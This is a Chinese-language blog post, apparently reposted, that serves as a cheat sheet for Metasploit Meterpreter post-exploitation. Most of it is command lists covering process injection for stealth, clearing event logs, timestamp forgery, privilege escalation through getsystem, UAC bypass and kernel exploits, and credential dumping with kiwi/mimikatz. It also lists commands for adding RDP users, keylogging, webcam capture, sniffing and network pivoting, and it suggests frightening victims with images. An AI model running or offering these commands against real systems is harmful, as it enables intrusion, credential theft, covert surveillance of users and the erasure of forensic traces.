当前位置:   article > 正文

【内网安全】——meterpreter使用攻略_meterpreter命令

meterpreter命令
作者名:白昼安全
主页面链接: 主页传送门
创作初心: 一切为了她
座右铭: 不要让时代的悲哀成为你的悲哀
专研方向: web安全,后渗透技术
每日emo: 再给我一年,好吗?

Metasploit中的Meterpreter模块在后渗透阶段具有强大的攻击力,本文主要整理了meterpreter的常用命令、脚本及使用方式。包含信息收集、提权、注册表操作、令牌操纵、哈希利用、后门植入等。

一、系统命令

1、基本系统命令

  1. sessions # 列出后台所有的会话
  2. sessions –h 查看帮助
  3. sessions -i <ID值> #进入指定会话
  4. sessions -k 杀死指定会话
  5. background #将当前会话放置后台
  6. run #执行已有的模块,输入run后按两下tab,列出已有的脚本
  7. info #查看已有模块信息
  8. getuid # 查看权限
  9. getpid # 获取当前进程的pid
  10. sysinfo # 查看目标机系统信息
  11. ps # 查看当前活跃进程 kill <PID值> 杀死进程
  12. idletime #查看目标机闲置时间
  13. reboot(linux) / shutdown(windows) #重启/关机
  14. shell #进入目标机cmd shell

这些命令主要用于才拿到权限时,相当于对当前机器进行一个简单初步的信息收集,其中比较重要的就是ps命令,可以查看到当前的活跃进程,如下

方便我们选择一个进程进行注入,让我们的木马更隐蔽

2、uictl开关键盘/鼠标

  1. uictl [enable/disable] [keyboard/mouse/all] #开启或禁止键盘/鼠标
  2. uictl disable mouse #禁用鼠标
  3. uictl disable keyboard #禁用键盘

但是这个功能的条件很苛刻,linux我试了很多版本,例如centos,kali这些都不行,而且我的三台win10都不行,提示需要win32版本的系统

我认为可能只有win32版本的系统才支持这个功能,我电脑上并没有win32版本的虚拟机,欢迎有条件的兄弟们下去试试,如果能把结果告诉我就更好了哈哈

3、webcam摄像头命令

  1. webcam_list #查看是否存在摄像头
  2. webcam_snap #通过摄像头拍照,在kali桌面生成拍摄后的图片文件
  3. webcam_stream #通过摄像头开启视,在kali桌面生成html文件,文件内容为实时视频

使用的时候首先要使用webcam_list查看当前机器是否有摄像头,有摄像头才能进行拍照,视频等操作

4、execute执行文件

  1. execute #在目标机中执行文件
  2. 例:execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互

可以去执行目标的可执行文件

注意:如果我们想实现打开目标文件上的文本文件,例如目标桌面上有一个a.txt文件,此时我们时system权限,直接在shell命令下执行a.txt会报错,因为system权限是没有会话的,需要降低为普通用户权限,再进入shell命令下执行a.txt,此时目标电脑上才会直接打开a.txt文件

5、migrate进程迁移

  1. getpid # 获取当前进程的pid
  2. ps # 查看当前活跃进程
  3. migrate <pid值> #将Meterpreter会话移植到指定pid值进程中,也就是进程注入
  4. kill <pid值> #杀死指定进程

进程注入也就是将木马绑定到进程中,此时就查不出来木马文件,而且注入之后原来的木马程序就算被删除了也没关系,只要进程还在,我们的权限就一直在,非常之好用

6、clearav清除日志

clearav  #清除windows中的应用程序日志、系统日志、安全日志

一般痕迹清理时用这个就够了,效果还可以

二、文件系统命令

1、基本文件系统命令

  1. getwd 或者pwd # 查看当前工作目录
  2. ls
  3. cd
  4. search -f "filename" # 搜索指定文件 -h查看帮助
  5. cat c:\\lltest\\lltestpasswd.txt # 查看文件内容
  6. upload /tmp/hack.txt C:\\lltest # 上传文件到目标机上,第一个参数是要上传的文件路径,第二个是目标
  7. download c:\\lltest\\lltestpasswd.txt /tmp/ # 下载文件到本机上,第一个是要下载位置,第二个是存放位置
  8. edit c:\\1.txt #编辑或创建文件 没有的话,会新建文件
  9. rm C:\\lltest\\hack.txt #删除指定文件
  10. mkdir lltest2 #只能在当前目录下创建文件夹
  11. rmdir lltest2 #只能删除当前目录下文件夹
  12. getlwd 或者 lpwd #操作攻击者主机 查看当前目录
  13. lcd /tmp #操作攻击者主机 切换目录位置

这个一种比较帅的方法是上传一些美好(kongbu)的图片用upload传到它的桌面,在进入shell权限下给他打开,就能实现控制它电脑打开美好(kongbu)的图片,给他个惊喜

2、timestomp伪造时间戳

  1. timestomp C:// -h #查看帮助
  2. timestomp -v C://2.txt #查看时间戳
  3. timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt
时间戳是自 1970 年 1 月 1 日(00:00:00 )至当前时间的总秒数。它也被称为 Unix 时间戳(Unix Timestamp),Unix时间戳不仅被使用在Unix系统、类Unix系统中(比如 Linux系统),也在许多其他 操作系统中被广泛采用。

主要是可以查一手文件的创建或者说修改时间

三、网络命令

1、基本网络命令

  1. ipconfig(windows)/ifconfig(linux)
  2. netstat –ano
  3. arp
  4. getproxy #查看代理信息
  5. route #查看路由

这些命令基本是做内网渗透的时候用的比较多,一般是进入目标机器后,探测目标所处的一个网络环境,公司,学校之类的环境

2、portfwd端口转发

portfwd add -l 6666 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地6666端口

这样就安全多了,不会出现传输过程中造成的安全隐患

还有一种想法就是各种外连,比如ssh,ftp之类的,例如把我们已经控制好的linux的22端口转发到本地的6666端口,再使用linux的远程连接工具rdesktop连接本地的6666端口就可以把实现远程登录

3、autoroute添加路由

  1. run autoroute –h #查看帮助
  2. run autoroute -s 192.168.159.0/24 #添加到目标环境网络
  3. run autoroute –p #查看添加的路由

路由信息设置一般配合着msf自己的代理设置模板auxiliary/server/socks_proxy,进行内网的一个攻占据点的操作,我的这篇打靶博客文章中也有用到这种手法,有兴趣的同学们可以看看,链接如下

http://t.csdn.cn/g3KV3

然后还可以利用arp_scanner、portscan等模块进行扫描

  1. run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24
  2. run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=3389

四、信息收集

信息收集的脚本位于:

  1. /usr/share/metasploit-framework/modules/post/windows/gather
  2. /usr/share/metasploit-framework/modules/post/linux/gather

信息收集的脚本较多,仅列几个常用的:

  1. run post/windows/gather/checkvm #是否虚拟机
  2. run post/linux/gather/checkvm #是否虚拟机
  3. run post/windows/gather/forensics/enum_drives #查看分区
  4. run post/windows/gather/enum_applications #获取安装软件信息
  5. run post/windows/gather/dumplinks #获取最近的文件操作
  6. run post/windows/gather/enum_ie #获取IE缓存
  7. run post/windows/gather/enum_chrome #获取Chrome缓存
  8. run post/windows/gather/enum_patches #补丁信息
  9. run post/windows/gather/enum_domain #查找域控

五、提权手法

1、getsystem提权

getsystem

getsystem工作原理

①getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。

②getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。

③Windows服务已启动,导致与命名管道建立连接。

④该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。
然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程。

2、bypassuac

内置多个bypassuac脚本,原理有所不同,使用方法类似,运行后返回一个新的会话,需要再次执行getsystem获取系统权限,如:

  1. use exploit/windows/local/bypassuac
  2. use exploit/windows/local/bypassuac_injection
  3. use windows/local/bypassuac_vbs
  4. use windows/local/ask

如何使用bypassuac.rb脚本:

  1. msf > use exploit/windows/local/bypassuac
  2. msf > set SESSION 2
  3. msf > run

3、内核漏洞提权

可先利用enum_patches模块 收集补丁信息,然后查找可用的exploits进行提权

  1. meterpreter > run post/windows/gather/enum_patches #查看补丁信息
  2. msf > use exploit/windows/local/ms13_053_schlamperei
  3. msf > set SESSION 2
  4. msf > exploit

六、kiwi抓取密码

mimikatz模块用于抓取密码,但是新版本中mimikatz模块已经合并为kiwi模块;使用kiwi模块需要system权限,所以我们在使用该模块之前需要将当前MSF中的shell提升为system。

kiwi_cmd 模块可以让我们使用mimikatz的全部功能,该命令后面接 mimikatz.exe 的全部命令:

  1. load kiwi #help mimikatz 查看帮助
  2. 例如:kiwi_cmd sekurlsa::logonpasswords

七、远程桌面&截屏

  1. enumdesktops #查看可用的桌面
  2. getdesktop #获取当前meterpreter 关联的桌面
  3. set_desktop #设置meterpreter关联的桌面 -h查看帮助
  4. screenshot #截屏
  5. use espia #或者使用espia模块截屏 然后输入screengrab
  6. run vnc #使用vnc远程桌面连接

这个功能怎么说呢?非常帅,而且很好用

八、开启rdp&添加用户

1、getgui命令

  1. run getgui –h #查看帮助
  2. run getgui -e #开启远程桌面
  3. run getgui -u lltest2 -p 123456 #添加用户
  4. run getgui -f 6661 –e #3389端口转发到6661

getgui 这个命令我只能说捞得一,经常会报系统不推荐,但有的时候也能用,具体的使用条件我也没研究清楚,如果使用错误报错可以试试使用下面这个

run post/windows/manage/enable_rdp

getgui添加用户时,有时虽然可以成功添加用户,但是没有权限通过远程桌面登陆,也比较鸡肋

2、enable_rdp脚本

  1. run post/windows/manage/enable_rdp #开启远程桌面
  2. run post/windows/manage/enable_rdp USERNAME=www2 PASSWORD=123456 #添加用户,名为www2,密为123456
  3. run post/windows/manage/enable_rdp FORWARD=true LPORT=6662 #将3389端口转发到6662

这个就是上面的getgui命令的替代品,会更好用一点

脚本位于/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb
通过enable_rdp.rb脚本可知:开启rdp是通过reg修改注册表;添加用户是调用cmd.exe 通过net user添加;端口转发是利用的portfwd命令

九、键盘记录

  1. keyscan_start #开始键盘记录
  2. keyscan_dump #导出记录数据
  3. keyscan_stop #结束键盘记录

这个命令也很有意思,目前我测试了一下,win10没有问题,x64位的linux系统不支持

注意:这里的导出键盘记录,需要在结束键盘记录前使用,结束之后就无法导出键盘记录了

十、sniffer抓包

  1. use sniffer
  2. sniffer_interfaces #查看网卡
  3. sniffer_start 2 #选择网卡 开始抓包
  4. sniffer_stats 2 #查看状态
  5. sniffer_dump 2 /tmp/lltest.pcap #导出pcap数据包
  6. sniffer_stop 2 #停止抓包

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/article/detail/41138
推荐阅读
相关标签
  

闽ICP备14008679号